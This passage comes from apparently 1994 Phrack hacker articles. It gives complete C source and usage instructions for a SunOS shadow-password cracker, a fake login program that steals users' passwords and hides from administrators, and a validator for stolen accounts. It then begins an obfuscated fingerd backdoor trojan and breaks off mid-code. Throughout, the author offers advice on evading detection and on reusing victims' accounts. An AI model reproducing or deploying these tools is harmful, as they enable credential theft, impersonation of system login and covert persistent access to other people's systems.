attracted no attention, and the administrator knows his shit. I have seen
the functions getspwent() and getspwnam() in Sys V to manipulate the
shadow password file, but not a function like pwdauth() that will actually
validate the i.d. and password. If such a function does exist on other
shadowed systems then this program could be very easily modified to work
without problems.
The only real beef I have about this program is that because the
pwdauth() function uses the standard unix crypt() function to encrypt the
supplied password, it is very slow!!! Even in burst mode, a password file
with 1000's of users could take a while to get through. My advice is
to run it in the background and direct all its screen output to /dev/null
like so :-
shcrack -mf -uroot -ddict1 > /dev/null &
Then you can log out then come back and check on it later!
The program works in a number of modes, all of which I will describe below,
is command line driven, and can be used to crack both multiple accounts in
the password file and single accounts specified. It is also NIS/NFS (Sun
Yellow Pages) compatible.
How to use it
-------------
shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file]
Usage :-
-m[mode] there are 3 modes of operation :-
-mb Burst mode, this scans the password file, trying the minimum number
of password guessing strategies on every account.
-mi Mini-burst mode, this also scans the password file, and tries most
password guessing strategies on every account.
-mf Brute-force mode, tries all password strategies, including the use
of words from a dictionary, on a single account specified.
more about these modes in a sec, the other options are :-
-p[password file] This is the password file you wish to use, if this is
left unspecified, the default is /etc/passwd.
NB: The program automatically detects and uses the
password file wherever it may be in NIS/NFS systems.
-u[user id] The login i.d. of the account you wish to crack, this is used
in Brute-force single user mode.
-d[dict file] This uses the words in a dictionary file to generate
possible passwords for use in single user brute force
mode. If no filename is specified, the program only uses the
password guessing strategies without using the dictionary.
Modes
^^^^^
-mb Burst mode basically gets each account from the appropriate password
file and uses two methods to guess its password. Firstly, it uses the
account name as a password, this name is then reversed and tried as a
possible password. This may seem like a weak strategy, but remember,
the users passwords are already shadowed, and therefore are deemed to
be secure. This can lead to sloppy passwords being used, and I have
came across many cases where the user has used his/her i.d. as a
password.
-mi Mini-burst mode uses a number of other password generating methods
as well as the 2 listed in burst mode. One of the methods involves
taking the login i.d. of the account being cracked, and appending the
numbers 0 to 9 to the end of it to generate possible passwords. If
this mode has no luck, it then uses the accounts gecos 'comment'
information from the password file, splitting it into words and
trying these as passwords. Each word from the comment field is also
reversed and tried as a possible password.
-mf Brute-force single user mode uses all the above techniques for password
guessing as well as using a dictionary file to provide possible
passwords to crack a single account specified. If no dictionary filename
is given, this mode operates on the single account using the
same methods as mini-burst mode, without the dictionary.
Using shadow crack
------------------
To get program help from the command line just type :-
$ shcrack <RETURN>
which will show you all the modes of operation.
If you wanted to crack just the account 'root', located in
/etc/passwd(or elsewhere on NFS/NIS systems), using all methods
including a dictionary file called 'dict1', you would do :-
$ shcrack -mf -uroot -ddict1
to do the above without using the dictionary file, do :-
$ shcrack -mf -uroot
or to do the above but in password file 'miner' do :-
$ shcrack -mf -pminer -uroot
to start cracking all accounts in /etc/passwd, using minimum password
strategies do :-
$ shcrack -mb
to do the above but on a password file called 'miner' in your home
directory do :-
$ shcrack -mb -pminer
to start cracking all accounts in 'miner', using all strategies except
dictionary words do :-
$ shcrack -mi -pminer
ok, heres the code, ANSI C Compilers only :-
---cut here-------------------------------------------------------------------
/* Program : Shadow Crack
Author : (c)1994 The Shining/UPi (UK Division)
Date : Released 12/4/94
Unix type : SUNOS Shadowed systems only */
#include <stdio.h>
#include <pwd.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>
#define WORDSIZE 20 /* Maximum word size */
#define OUTFILE "data" /* File to store cracked account info */
void word_strat( void ), do_dict( void );
void add_nums( char * ), do_comment( char * );
void try_word( char * ), reverse_word( char * );
void find_mode( void ), burst_mode( void );
void mini_burst( void ), brute_force( void );
void user_info( void ), write_details( char * );
void pwfile_name( void ), disable_interrupts( void ), cleanup();
char *logname, *comment, *homedir, *shell, *dict, *mode,
*pwfile, *pwdauth();
struct passwd *getpwnam(), *pwentry;
extern char *optarg;
int option, uid, gid;
int main( int argc, char **argv )
{
disable_interrupts();
system("clear");
if (argc < 2) {
printf("Shadow Crack - (c)1994 The Shining\n");
printf("SUNOS Shadow password brute force cracker\n\n");
printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]);
printf("-d[dictfile]\n\n\n");
printf("[b] is burst mode, scans pwfile trying minimum\n");
printf(" password strategies on all i.d's\n\n");
printf("[i] is mini-burst mode, scans pwfile trying both\n");
printf(" userid, gecos info, and numbers to all i.d's\n\n");
printf("[f] is bruteforce mode, tries all above stategies\n");
printf(" as well as dictionary words\n\n");
printf("[pwfile] Uses the password file [pwfile], default\n");
printf(" is /etc/passwd\n\n");
printf("[loginid] Account you wish to crack, used with\n");
printf(" -mf bruteforce mode only\n\n");
printf("[dictfile] uses dictionary file [dictfile] to\n");
printf(" generate passwords when used with\n");
printf(" -mf bruteforce mode only\n\n");
exit(0);
}
/* Get options from the command line and store them in different
variables */
while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF)
switch(option)
{
case 'm':
mode = optarg;
break;
case 'p':
pwfile = optarg;
break;
case 'u':
logname = optarg;
break;
case 'd':
dict = optarg;
break;
default:
printf("wrong options\n");
break;
}
find_mode();
}
/* Routine to redirect interrupts */
void disable_interrupts( void )
{
signal(SIGHUP, SIG_IGN);
signal(SIGTSTP, cleanup);
signal(SIGINT, cleanup);
signal(SIGQUIT, cleanup);
signal(SIGTERM, cleanup);
}
/* If CTRL-Z or CTRL-C is pressed, clean up & quit */
void cleanup( void )
{
FILE *fp;
if ((fp = fopen("gecos", "r")) != NULL)
remove("gecos");
if ((fp = fopen("data", "r")) == NULL)
printf("\nNo accounts cracked\n");
printf("Quitting\n");
exit(0);
}
/* Function to decide which mode is being used and call appropriate
routine */
void find_mode( void )
{
if (strcmp(mode, "b") == NULL)
burst_mode();
else
if (strcmp(mode, "i") == NULL)
mini_burst();
else
if (strcmp(mode, "f") == NULL)
brute_force();
else
{
printf("Sorry - No such mode\n");
exit(0);
}
}
/* Get a users information from the password file */
void user_info( void )
{
uid = pwentry->pw_uid;
gid = pwentry->pw_gid;
comment = pwentry->pw_gecos;
homedir = pwentry->pw_dir;
shell = pwentry->pw_shell;
}
/* Set the filename of the password file to be used, default is
/etc/passwd */
void pwfile_name( void )
{
if (pwfile != NULL)
setpwfile(pwfile);
}
/* Burst mode, tries user i.d. & then reverses it as possible passwords
on every account found in the password file */
void burst_mode( void )
{
pwfile_name();
setpwent();
while ((pwentry = getpwent()) != (struct passwd *) NULL)
{
logname = pwentry->pw_name;
user_info();
try_word( logname );
reverse_word( logname );
}
endpwent();
}
/* Mini-burst mode, try above combinations as well as other strategies
which include adding numbers to the end of the user i.d. to generate
passwords or using the comment field information in the password
file */
void mini_burst( void )
{
pwfile_name();
setpwent();
while ((pwentry = getpwent()) != (struct passwd *) NULL)
{
logname = pwentry->pw_name;
user_info();
word_strat();
}
endpwent();
}
/* Brute force mode, uses all the above strategies as well using a
dictionary file to generate possible passwords */
void brute_force( void )
{
pwfile_name();
setpwent();
if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) {
printf("Sorry - User unknown\n");
exit(0);
}
else
{
user_info();
word_strat();
do_dict();
}
endpwent();
}
/* Calls the various password guessing strategies */
void word_strat()
{
try_word( logname );
reverse_word( logname );
add_nums( logname );
do_comment( comment );
}
/* Takes the user name as its argument and then generates possible
passwords by adding the numbers 0-9 to the end. If the username
is greater than 7 characters, don't bother */
void add_nums( char *wd )
{
int i;
char temp[2], buff[WORDSIZE];
if (strlen(wd) < 8) {
for (i = 0; i < 10; i++)
{
strcpy(buff, wd);
sprintf(temp, "%d", i);
strcat(wd, temp);
try_word( wd );
strcpy(wd, buff);
}
}
}
/* Gets info from the 'gecos' comment field in the password file,
then process this information generating possible passwords from it */
void do_comment( char *wd )
{
FILE *fp;
char temp[2], buff[WORDSIZE];
int c, flag;
flag = 0;
/* Open file & store users gecos information in it. w+ mode
allows us to write to it & then read from it. */
if ((fp = fopen("gecos", "w+")) == NULL) {
printf("Error writing gecos info\n");
exit(0);
}
fprintf(fp, "%s\n", wd);
rewind(fp);
strcpy(buff, "");
/* Process users gecos information, separate words by checking for the
',' field separater or a space. */
while ((c = fgetc(fp)) != EOF)
{
if (( c != ',' ) && ( c != ' ' )) {
sprintf(temp, "%c", c);
strncat(buff, temp, 1);
}
else
flag = 1;
if ((isspace(c)) || (c == ',') != NULL) {
if (flag == 1) {
c=fgetc(fp);
if ((isspace(c)) || (iscntrl(c) == NULL))
ungetc(c, fp);
}
try_word(buff);
reverse_word(buff);
strcpy(buff, "");
flag = 0;
strcpy(temp, "");
}
}
fclose(fp);
remove("gecos");
}
/* Takes a string of characters as its argument(in this case the login
i.d., and then reverses it */
void reverse_word( char *wd )
{
char temp[2], buff[WORDSIZE];
int i;
i = strlen(wd) + 1;
strcpy(temp, "");
strcpy(buff, "");
do
{
i--;
if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) {
sprintf(temp, "%c", wd[i]);
strncat(buff, temp, 1);
}
} while(i != 0);
if (strlen(buff) > 1)
try_word(buff);
}
/* Read one word at a time from the specified dictionary for use
as possible passwords, if dictionary filename is NULL, ignore
this operation */
void do_dict( void )
{
FILE *fp;
char buff[WORDSIZE], temp[2];
int c;
strcpy(buff, "");
strcpy(temp, "");
if (dict == NULL)
exit(0);
if ((fp = fopen(dict, "r")) == NULL) {
printf("Error opening dictionary file\n");
exit(0);
}
rewind(fp);
while ((c = fgetc(fp)) != EOF)
{
if ((c != ' ') || (c != '\n')) {
strcpy(temp, "");
sprintf(temp, "%c", c);
strncat(buff, temp, 1);
}
if (c == '\n') {
if (buff[0] != ' ')
try_word(buff);
strcpy(buff, "");
}
}
fclose(fp);
}
/* Process the word to be used as a password by stripping \n from
it if necessary, then use the pwdauth() function, with the login
name and word to attempt to get a valid id & password */
void try_word( char pw[] )
{
int pwstat, i, pwlength;
char temp[2], buff[WORDSIZE];
strcpy(buff, "");
pwlength = strlen(pw);
for (i = 0; i != pwlength; i++)
{
if (pw[i] != '\n') {
strcpy(temp, "");
sprintf(temp, "%c", pw[i]);
strncat(buff, temp, 1);
}
}
if (strlen(buff) > 3 ) {
printf("Trying : %s\n", buff);
if (pwstat = pwdauth(logname, buff) == NULL) {
printf("Valid Password! - writing details to 'data'\n");
write_details(buff);
if (strcmp(mode, "f") == NULL)
exit(0);
}
}
}
/* If valid account & password, store this, along with the accounts
uid, gid, comment, homedir & shell in a file called 'data' */
void write_details( char *pw )
{
FILE *fp;
if ((fp = fopen(OUTFILE, "a")) == NULL) {
printf("Error opening output file\n");
exit(0);
}
fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid);
fprintf(fp, "%s:%s:%s\n", comment, homedir, shell);
fclose(fp);
}
---cut here-------------------------------------------------------------------
again to compile it do :-
$ gcc shcrack.c -o shcrack
or
$ acc shcrack.c -o shcrack
this can vary depending on your compiler.
The Ultimate Login Spoof
^^^^^^^^^^^^^^^^^^^^^^^^
Well this subject has been covered many times before but its a while since
I have seen a good one, and anyway I thought other unix spoofs have had two
main problems :-
1) They were pretty easy to detect when running
2) They recorded any only shit entered.....
Well now I feel these problems have been solved with the spoof below.
Firstly, I want to say that no matter how many times spoofing is deemed as
a 'lame' activity, I think it is very underestimated.
When writing this I have considered every possible feature such a program
should have. The main ones are :-
1) To validate the entered login i.d. by searching for it in the
password file.
2) Once validated, to get all information about the account entered
including - real name etc from the comment field, homedir info
(e.g. /homedir/miner) and the shell the account is using and
store all this in a file.
3) To keep the spoofs tty idle time to 0, thus not to arouse the
administrators suspicions.
4) To validates passwords before storing them, on all unshadowed unix systems
& SUNOS shadowed/unshadowed systems.
5) To emulates the 'sync' dummy account, thus making it act like the
real login program.
6) Disable all interrupts(CTRL-Z, CTRL-D, CTRL-C), and automatically
quit if it has not grabbed an account within a specified time.
7) To automatically detect & display the hostname before the login prompt
e.g. 'ccu login:', this feature can be disabled if desired.
8) To run continuously until a valid i.d. & valid password are entered.
As well as the above features, I also added a few more to make the spoof
'foolproof'. At university, a lot of the users have been 'stung' by
login spoofs in the past, and so have become very conscious about security.
For example, they now try and get around spoofs by entering any old crap when
prompted for their login name, or to hit return a few times, to prevent any
'crappy' spoofs which may be running. This is where my spoof shines!,
firstly if someone was to enter -
login: dhfhfhfhryr
Password:
into the spoof, it checks to see if the login i.d. entered is
valid by searching for it in the password file. If it exists, the
spoof then tries to validate the password. If both the i.d. & password
are valid, these will be stored in a file called .data, along with
additional information about the account taken directly from the password
file.
Now if, as in the case above, either the login name or password is
incorrect, the information is discarded, and the login spoof runs again,
waiting for a valid user i.d. & password to be entered.
Also, a lot of systems these days have an unpassworded account called
'sync', which when logged onto, usually displays the date & time the
sync account was last logged into, and from which server or tty,
the message of the day, syncs the disk, and then logs you straight out.
A few people have decided that the best way to dodge login spoofs is to
first login to this account then when they are automatically logged out,
to login to their own account.
They do this firstly, so that if a spoof is running it only records the
details of the sync account and secondly the spoof would not act as the
normal unix login program would, and therefore they would spot it and report
it, thus landing you in the shit with the system administrator.
However, I got around this problem so that when someone
tries to login as sync (or another account of a similar type, which you can
define), it acts exactly like the normal login program would, right down to
displaying the system date & time as well as the message of the day!!
The idle time facility
----------------------
One of the main problems with unix spoofs, is they can be spotted
so easily by the administrator, as he/she could get a list of current
users on the system and see that an account was logged on, and had been
idle for maybe 30 minutes. They would then investigate & the spoof
would be discovered.
I have therefore incorporated a scheme in the spoof whereby
approx. every minute, the tty the spoof is executed from, is 'touched'
with the current time, this effectively simulates terminal activity &
keeps the terminals idle time to zero, which helps the spoofs chances
of not being discovered greatly.
The spoof also incorporates a routine which will automatically
keep track of approximately how long the spoof has been running, and if
it has been running for a specified time without grabbing an i.d. or password,
will automatically exit and run the real login program.
This timer is by default set to 12.5 minutes, but you can alter this time
if you wish.
Note: Due to the varying processing power of some systems, I could not
set the timer to exactly 60 seconds, I have therefore set it to 50,
incase it loses or gains extra time. Take this into consideration when
setting the spoofs timer to your own value. I recommend you
stick with the default, and under no circumstances let it run
for hours.
Password Validation techniques
------------------------------
The spoof basically uses 2 methods of password validation(or none at
all on a shadowed system V). Firstly, when the spoof is used on any unix
with an unshadowed password file, it uses the crypt function to validate a
password entered. If however the system is running SUNOS 4.1.+ and
incorporates the shadow password system, the program uses a function called
pwdauth(). This takes the login i.d. & decrypted password as its arguments
and checks to see if both are valid by encrypting the password and
comparing it to the shadowed password file which is usually located in
/etc/security and accessible only by root. By validating both the i.d. &
password we ensure that the data which is saved to file is correct and not
any old bullshit typed at the terminal!!!
Executing the Spoof
-------------------
ok, now about the program. This is written in ANSI-C, so I hope you have a
compatible compiler, GCC or suns ACC should do it. Now the only time you
will need to change to the code is in the following circumstances :-
1) If you are to compile & run it on an unshadowed unix,
in which case remove all references to the pwdauth() function,
from both the declarations & the shadow checking routine, add
this code in place of the shadow password checking routine :-
if ( shadow == 1 ) {
invalid = 0;
else
invalid = 1;
}
2) Add the above code also to the spoof if you are running this on a system
V which is shadowed. In this case the spoof loses its ability to
validate the password, to my knowledge there is no sysV equivalent
of the pwdauth() function.
Everything else should be pretty much compatible. You should have no
problems compiling & running this on an unshadowed SUNOS machine, if
you do, make the necessary changes as above, but it compiled ok
on every unshadowed SUNOS I tested it on. The Spoof should
automatically detect whether a SUNOS system is shadowed or unshadowed
and run the appropriate code to deal with each situation.
Note: when you have compiled this spoof, you MUST 'exec' it from the
current shell for it to work, you must also only have one shell
running. e.g. from C or Bourne shell using the GNU C Compiler do :-
$ gcc spoof.c -o spoof
$ exec spoof
This replaces the current shell with the spoof, so when the spoof quits &
runs the real login program, the hackers account is effectively logged off.
ok enough of the bullshit, here's the spoof :-
----------cut here-------------------------------------------------------
/* Program : Unix login spoof
Author : The Shining/UPi (UK Division)
Date : Released 12/4/94
Unix Type : All unshadowed unix systems &
shadowed SUNOS systems
Note : This file MUST be exec'd from the shell. */
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <pwd.h>
#include <time.h>
#include <utime.h>
#define OUTFILE ".data" /* Data file to save account info into */
#define LOGPATH "/usr/bin/login" /* Path of real login program */
#define DUMMYID "sync" /* Dummy account on your system */
#define DLENGTH 4 /* Length of dummy account name */
FILE *fp;
/* Set up variables to store system time & date */
time_t now;
static int time_out, time_on, no_message, loop_cnt;
/* Set up a structure to store users information */
struct loginfo {
char logname[10];
char key[9];
char *comment;
char *homedir;
char *shell;
} u;
/* Use the unix function getpass() to read user password and
crypt() or pwdauth() (remove it below if not SUNOS)
to validate it etc */
char *getpass(), *gethostname(), *alarm(), *sleep(),
*crypt(), *ttyname(), *pwdauth(), motd, log_date[60],
pass[14], salt[3], *tty, cons[] = " on console ",
hname[72], *ld;
/* flag = exit status, ppid = pid shell, wait = pause length,
pwstat = holds 0 if valid password, shadow holds 1 if shadow
password system is being used, 0 otherwise. */
int flag, ppid, wait, pwstat, shadow, invalid;
/* Declare main functions */
void write_details(struct loginfo *);
void catch( void ), disable_interrupts( void );
void log_out( void ), get_info( void ),
invalid_login( void ), prep_str( char * );
/* set up pointer to point to pwfile structure, and also
a pointer to the utime() structure */
struct passwd *pwentry, *getpwnam();
struct utimbuf *times;
int main( void )
{
system("clear");
/* Initialise main program variables to 0, change 'loop_cnt' to 1
if you do not want the machines host name to appear with
the login prompt! (e.g. prompt is `login:` instead of
'MIT login:' etc) */
wait = 3; /* Holds value for pause */
flag = 0; /* Spoof ends if value is 1 */
loop_cnt = 0; /* Change this to 1 if no host required */
time_out = 0; /* Stops timer if spoof has been used */
time_on = 0; /* Holds minutes spoof has been running */
disable_interrupts(); /* Call function to disable Interrupts */
/* Get system time & date and store in log_date, this is
displayed when someone logs in as 'sync' */
now = time(NULL);
strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now));
strcat(log_date, cons);
ld = log_date;
/* Get Hostname and tty name */
gethostname(hname, 64);
strcat(hname, " login: ");
tty = ttyname();
/* main routine */
while( flag == 0 )
{
invalid = 0; /* Holds 1 if id +/or pw are invalid */
shadow = 0; /* 1 if shadow scheme is in operation */
no_message = 0; /* Flag for Login Incorrect msg */
alarm(50); /* set timer going */
get_info(); /* get user i.d. & password */
/* Check to see if the user i.d. entered is 'sync', if it is
display system time & date, display message of the day and
then run the spoof again, insert the account of your
choice here, if its not sync, but remember to put
the length of the accounts name next to it! */
if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) {
printf("%s\n", ld);
if ((fp = fopen("/etc/motd", "r")) != NULL) {
while ((motd = getc(fp)) != EOF)
putchar(motd);
fclose(fp);
}
printf("\n");
prep_str(u.logname);
no_message = 1;
sleep(wait);
}
/* Check if a valid user i.d. has been input, then check to see if
the password system is shadowed or unshadowed.
If both the user i.d. & password are valid, get additional info
from the password file, and store all info in a file called .data,
then exit spoof and run real login program */
setpwent(); /* Rewind pwfile to beign processing */
if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) {
invalid = 1;
flag = 0;
}
else
strncpy(salt, pwentry->pw_passwd, 2);
/* Check for shadowed password system, in SUNOS, the field in /etc/passwd
should begin with '##', in system V it could contain an 'x', if none
of these exist, it checks that the entry = 13 chars, if less then
shadow system will probably be implemented (unless acct has been
disabled) */
if ( invalid == 0 ) {
if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL)
shadow = 1;
else
if (strlen(pwentry->pw_passwd) < 13)
shadow = 1;
/* If unshadowed, use the salt from the pwfile field & the key to
form the encrypted password which is checked against the entry
in the password file, if it matches, then all is well, if not,
spoof runs again!! */
if ( shadow != 1 ) {
if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL)
invalid = 0;
else
invalid = 1;
}
/* If SUNOS Shadowing is in operation, use the pwdauth() function
to validate the password, if not SUNOS, substitute this code
with the routine I gave earlier! */
if ( shadow == 1 ) {
if (pwstat = pwdauth(u.logname, u.key) == NULL)
invalid = 0;
else
invalid = 1;
}
}
/* If we have a valid account & password, get user info from the
pwfile & store it */
if ( invalid == 0 ) {
u.comment = pwentry->pw_gecos;
u.homedir = pwentry->pw_dir;
u.shell = pwentry->pw_shell;
/* Open file to store user info */
if ((fp = fopen(OUTFILE, "a")) == NULL)
log_out();
write_details(&u);
fclose(fp);
no_message = 1;
flag = 1;
}
else
flag = 0;
invalid_login();
endpwent(); /* Close pwfile */
if (no_message == 0)
loop_cnt++;
} /* end while */
log_out(); /* call real login program */
}
/* Function to read user i.d. & password */
void get_info( void )
{
char user[11];
unsigned int string_len;
fflush(stdin);
prep_str(u.logname);
prep_str(u.key);
strcpy(user, "\n");
/* Loop while some loser keeps hitting return when asked for user
i.d. and if someone hits CTRL-D to break out of spoof. Enter
a # at login to exit spoof. Uncomment the appropriate line(s)
below to customise the spoof to look like your system */
while ((strcmp(user, "\n") == NULL) && (!feof(stdin)))
{
/* printf("Scorch Ltd SUNOS 4.1.3\n\n); */
if (loop_cnt > 0)
strcpy(hname, "login: ");
printf("%s", hname);
fgets(user, 9, stdin);
/* Back door for hacker, # at present, can be changed,
but leave \n in. */
if (strcmp(user, "#\n") == NULL)
exit(0);
/* Strip \n from login i.d. */
if (strlen(user) < 8)
string_len = strlen(user) - 1;
else
string_len = strlen(user);
strncpy(u.logname, user, string_len);
/* check to see if CTRL-D has occurred because it does not
generate an interrupt like CTRL-C, but instead generates
an end-of-file on stdin */
if (feof(stdin)) {
clearerr(stdin);
printf("\n");
}
}
/* Turn off screen display & read users password */
strncpy(u.key, getpass("Password:"), 8);
}
/* Function to increment the timer which holds the amount of time
the spoof has been running */
void catch( void )
{
time_on++;
/* If spoof has been running for 15 minutes, and has not
been used, stop timer and call spoof exit routine */
if ( time_out == 0 ) {
if (time_on == 15) {
printf("\n");
alarm(0);
log_out();
}
}
/* 'Touch' your tty, effectively keeping terminal idle time to 0 */
utime(tty, times);
alarm(50);
}
/* Initialise a string with \0's */
void prep_str( char str[] )
{
int strl, cnt;
strl = strlen(str);
for (cnt = 0; cnt != strl; cnt++)
str[cnt] = ' ';
}
/* function to catch interrupts, CTRL-C & CTRL-Z etc as
well as the timer signals */
void disable_interrupts( void )
{
signal(SIGALRM, catch);
signal(SIGQUIT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
}
/* Write the users i.d., password, personal information, homedir
and shell to a file */
void write_details(struct loginfo *sptr)
{
fprintf(fp, "%s:%s:", sptr->logname, sptr->key);
fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid);
fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir);
fprintf(fp, "%s\n", sptr->shell);
fprintf(fp, "\n");
}
/* Display login incorrect only if the user hasn't logged on as
'sync' */
void invalid_login( void )
{
if ( flag == 1 && pwstat == 0 )
sleep(wait);
if ( no_message == 0 )
printf("Login incorrect\n");
}
/* Displays appropriate message, exec's the real login program,
this replaces the spoof & effectively logs spoof's account off.
Note: this spoof must be exec'd from the shell to work */
void log_out( void )
{
time_out = 1;
if ( no_message == 1 ) {
sleep(1);
printf("Login incorrect\n");
}
execl(LOGPATH, "login", (char *)0);
}
----------cut here-------------------------------------------------------
then delete the source, run it and wait for some sucker to login!.
If you do initially run this spoof from your account, I suggest you
remove it when you have grabbed someone's account and run it from theirs
from then on, this reduces your chances of being caught!
User i.d. & Password Validator
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Now if you are familiar with the unix Crack program, as I'm sure most of
you are ;-), or if you have used my spoof to grab some accounts,
this little program could be of some use. Say you have snagged
quit a few accounts, and a few weeks later you wanna see if they are still
alive, instead of logging onto them, then logging out again 20 or 30 times
which can take time, and could get the system admin looking your way, this
program will continuously ask you to enter a user i.d. & password, then
validate them both by actually using the appropriate entry in the password
file. All valid accounts are then stored along with other info from the
password file, in a data file. The program loops around until you stop it.
This works on all unshadowed unix systems, and, you guessed it!, shadowed
SUNOS systems.
If you run it on an unshadowed unix other than SUNOS, remove all references
to pwdauth(), along with the shadow password file checking routine,
if your on sysV, your shit outa luck! anyway, here goes :-
---cut here---------------------------------------------------------------
/* Program : To validate accounts & passwords on both
shadowed & unshadowed unix systems.
Author : The Shining/UPi (UK Division)
Date : Released 12/4/94
UNIX type : All unshadowed systems, and SUNOS shadowed systems */
#include <stdio.h>
#include <string.h>
#include <pwd.h>
FILE *fp;
int pw_system( void ), shadowed( void ), unshadowed( void );
void write_info( void ), display_notice( void );
struct passwd *pwentry, *getpwnam();
struct user {
char logname[10];
char key[9];
char salt[3];
} u;
char *getpass(), *pwdauth(), *crypt(), ans[2];
int invalid_user, stat;
int main( void )
{
strcpy(ans, "y");
while (strcmp(ans, "y") == NULL)
{
invalid_user = stat = 0;
display_notice();
printf("Enter login id:");
scanf("%9s", u.logname);
strcpy(u.key, getpass("Password:"));
setpwent();
if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL)
invalid_user = 1;
else
strncpy(u.salt, pwentry->pw_passwd, 2);
if (invalid_user != 1) {
if ((stat = pw_system()) == 1) {
if ((stat = unshadowed()) == NULL) {
printf("Unshadowed valid account! - storing details\n");
write_info();
}
}
else
if ((stat = shadowed()) == NULL) {
printf("SUNOS Shadowed valid account! - storing details\n");
write_info();
}
else
invalid_user = 2;
}
if (invalid_user == 1)
printf("User unknown/not found in password file\n");
if (invalid_user == 2 )
printf("Password invalid\n");
printf("\n\nValidate another account?(y/n): ");
scanf("%1s", ans);
endpwent();
}
}
/* Check to see if shadow password system is used, in SUNOS the field
in /etc/passwd starts with a '#', if not, check to see if entry
is 13 chars, if not shadow must be in use. */
int pw_system( void )
{
if (strlen(pwentry->pw_passwd) != 13)
return(0);
else
if (strcmp(u.salt, "##") == NULL)
return(0);
else
return(1);
}
/* If system is unshadowed, get the 2 character salt from the password
file, and use this to encrypt the password entered. This is then
compared against the password file entry. */
int unshadowed( void )
{
if (pwentry->pw_passwd == crypt(u.key, u.salt))
return(0);
else
return(1);
}
/* If SUNOS shadowe system is used, use the pwdauth() function to validate
the password stored in the /etc/security/passwd.adjunct file */
int shadowed( void )
{
int pwstat;
if (pwstat = pwdauth(u.logname, u.key) == NULL)
return(0);
else
return(1);
}
/* Praise myself!!!! */
void display_notice( void )
{
system("clear");
printf("Unix Account login id & password validator.\n");
printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n");
printf("(c)1994 The Shining\n\n\n\n");
}
/* Open a file called 'data' and store account i.d. & password along with
other information retrieved from the password file */
void write_info( void )
{
/* Open a file & store account information from pwfile in it */
if ((fp = fopen("data", "a")) == NULL) {
printf("error opening output file\n");
exit(0);
}
fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry->pw_uid);
fprintf(fp, "%d:%s:", pwentry->pw_gid, pwentry->pw_gecos);
fprintf(fp, "%s:%s\n", pwentry->pw_dir, pwentry->pw_shell);
fclose(fp);
}
-----cut here------------------------------------------------------------------
The above programs will not compile under non-ansi C compilers without quite
a bit of modification. I have tested all these programs on SUNOS both
shadowed & unshadowed, though they should work on other systems with
little modification (except the shadow password cracker, which is SUNOS
shadow system specific).
Regards to the following guys :-
Archbishop & The Lost Avenger/UPi, RamRaider/QTX,
the guys at United International Perverts(yo Dirty Mac & Jasper!)
and all I know.
(c) 1994 The Shining (The NORTH!, U.K.)
*******************************************************************************
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 12 of 28
****************************************************************************
The fingerd trojan horse
Original article by Hitman Italy for Phrack Inc.
This article is for informational purpose only, I'm not liable for
any damage or illegal activity perpetrated using the source or the
informations in the article.
-=- + -
So you have gained access to a system and want to keep on hacking without
being kicked off by a smart operator, there are dozen methods you can use,
usually, if an operator figure out that his system is under attack, he'll
check out the login program and telnetd for backdoors, then the telnet for
logging activities or network sniffers and so on.. if nothing is found
he'll realize the hacker is a dumb ass and he'll just modify the passwd to
prevent him from logging on (in most cases), here comes my fingerd trojan.
This scheme is quite original (I've never seen it used) and the source is
compact enough to be fitted into a MAG. The fingerd as all you know (I
hope) is the finger server run by inetd when a client opens the finger
port (N.79), of course if the port is locked, or you have a network
firewall, do not use this code.
---------- + CUT HERE + -----------------------------------------------
/* The Fingerd trojan by Hitman Italy
* This source cannot be spread without the whole article
* but you can freely implement or modify it for personal use
*/
static char copyright[] = ""; /* Add the copyright string here */
static char sccsid[] = ""; /* Add the sccsid string here */
#include <stdio.h>
#define PATH_FINGER "/usr/ucb/finger"
#define CODE 161
char *HitCrypt(ch)
char *ch;
{
char *b;
b=ch;
while ((*(ch++)^=CODE)!=0x00);
return(b);
}
main(argc,argv)
int argc;
char *argv[];
{
register FILE *fp;
register int ch;
register char *lp;
int p[2];
static char exor[4][23]={
{201,200,213,CODE},
{142,196,213,194,142,209,192,210,210,214,197,CODE},
{201,200,213,155,155,145,155,145,155,155,142,155,142,195,200,207,142,194,
210,201,CODE},
{227,192,194,202,197,206,206,211,129,192,194,213,200,215,192,213,196,197,
143,143,143,CODE} };
#define ENTRIES 50
char **ap, *av[ENTRIES + 1], line[1024], *strtok();
#ifdef LOGGING /* unused, leave it for "strings" command */
#include <netinet/in.h>
struct sockaddr_in sin;
int sval;
sval = sizeof(sin);
if (getpeername(0, &sin, &sval) < 0)
fatal(argv[0],"getpeername");
#endif
if (!fgets(line, sizeof(line), stdin))
exit(1);
av[0] = "finger";
for (lp = line, ap = &av[1];;) {
*ap = strtok(lp, " \t\r\n");
if (!*ap)
break;
if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w'))
*ap = "-l";
if (++ap == av + ENTRIES)
break;
lp = NULL;
}
if (pipe(p) < 0)
fatal(argv[0],"pipe");
switch(fork()) {
case 0:
(void)close(p[0]);
if (p[1] != 1) {
(void)dup2(p[1], 1);
(void)close(p[1]);
}
/*-=-=-=-=-=- PUT HERE YOUR CODE -=-=-=-=-=-*/
if (av[1])
if (strcmp( (HitCrypt(&exor[0][0])) ,av[1])==0) {
if(!(fp=fopen( (HitCrypt(&exor[1][0])) ,"a")))
_exit(10);
